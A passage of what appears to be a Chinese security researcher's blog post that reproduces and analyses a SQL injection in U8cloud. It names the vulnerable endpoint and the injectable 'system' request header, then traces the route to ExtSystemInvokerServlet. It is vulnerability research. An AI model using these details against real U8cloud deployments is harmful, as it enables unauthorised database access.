<p blockindex=1>前段时间爆出一个<code>U8cloud</code>的SQL注入,路径为<code>/u8cloud/api/file/upload/base64</code>,在此之前也做过<code>U8cloud</code>的代码审计,没有发现和这个路径类似的路径,正好这次有时间,来复现分析一下这个漏洞到底是怎么回事。</p>
|
||||
<h2 blockindex=2>0x01 漏洞复现</h2>
|
||||
<p blockindex=3>按照网上给出的<code>POC</code>,利用结果如下图,注入点在请求头的<code>system</code>字段。</p>
|
||||
<p blockindex=4><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=5>但是神奇的是,如果吧路径中的<code>file/upload/base64</code>随便替换为其他东西,会发现居然也能成功注入,这就很耐人寻味了,这个漏洞和<code>file/upload/base64</code>居然没有半毛钱关系。</p>
|
||||
<p blockindex=6><img src="data:image/png;base64,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 truncated
|
||||
<h2 blockindex=7>0x02 漏洞分析</h2>
|
||||
<p blockindex=8>接下来掏出朋友给的一份编译后的源码,全局搜索<code>u8cloud/api</code>,很快就在<code>webapps/u8c_web/WEB-INF/web.xml</code>中找到了这个路径,对应的<code>servlet</code>是<code>ExtSystemInvokerServlet</code>,除了他以外,<code>/u8cloud/openapi/*</code>、<code>/u8cloud/yls/*</code>、<code>/u8cloud/extsystem/dst/*</code>三个路径也都对应到了<code>ExtSystemInvokerServlet</code>。</p>
|
||||
<p blockindex=9><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA/MAAAOdCAYAAADJAjKJAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd2Ad1Z33//foqnddNUuyumy5yHKVbWzjig0GU2w6BAgQsjyE/SXkeTa9sUs2gZRNAiTsbkIoIYReYmxjG2zce7dlW26SbHXJ6l33/P6Qi8qVLFsS0oXP6y/pTjtnZs7M+c45c8YaPXq0QURERERERERchttAJ0BERERERERELo+CeREREREREREXo2BeRERERERExMUomBcRERERERFxMQrmRURERERERFyMgnkRERERERERF6NgXkRERERERMTFKJgXERERERERcTEK5kVERERERERcjIJ5ERERERERERejYF5ERERERETExSiYFxEREREREXExCuZFREREREREXIyCeREREREREREXo2BeRERERERExMUomBcRERERERFxMQrmRURERERERFyMgnkRERERERERF6NgXkRERERERMTFKJgXERERERERcTEK5kVERERERERcjIJ5ERERERERERejYF5ERERERETExSiYFxEREREREXExCuZFREREREREXIyCeREREREREREXo2BeRERERERExMUomBcRERERERFxMQrmRURERERERFyMgnkRERERERERF6NgXkRERERERMTFKJgXERERERERcTEK5kVERERERERcjPtAJ0D6lklJ5q1vxhBqWZ2nmbM89929vF/beZp8sfkNi+fn98WS6tfE8c1Z/OCtUiqdnCMiIiIiIuIa1DIv/S79jil88twsVn8vjmhjBjo5X0pjpkQzxm7D08ubEVcPIUMlX0RERETEpall/ovmVA7feioPj7a/DU/kj3eE4TVQaZIBt39bHgdSYxnu28zJrQXscgBqmBcRERERcVkK5r9grOYm8gqb2v1mIltQe/iXW83RbL754+yLP6iLvYiIiIiIS3P5zrY2f39GRyowEfmiMMaNpGRf/Cw9ghIRERER6YrLtszb/P1ZMD+Ou2eEUfThJv5fYXOneYxxI2lSLPdMDyMtxhu7jw2bcVBRUU/BmTKWrcxlxYlGWrpppbSFhnDbNdHMHhFAdLAHtsZGSosr2br9DG+sq6DUOF/WhMbyws8SGUY9bzyzlXd9Yvn6DVFMiPYiwK2FovxyNqzL5m9ba6jtsP3QOem8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 truncated
|
||||
<p blockindex=10>而这个<code>ExtSystemInvokerServlet</code>的位置在<code>fw.jar!\nc\bs\framework\server\extsys\ExtSystemInvokerServlet</code>。</p>
|
||||
<p blockindex=11>找到这个类,来看他的<code>doAction()</code>方法。重点关注一下<code>ExtSystemServerEnum</code>和<code>serviceName</code></p>
|
||||
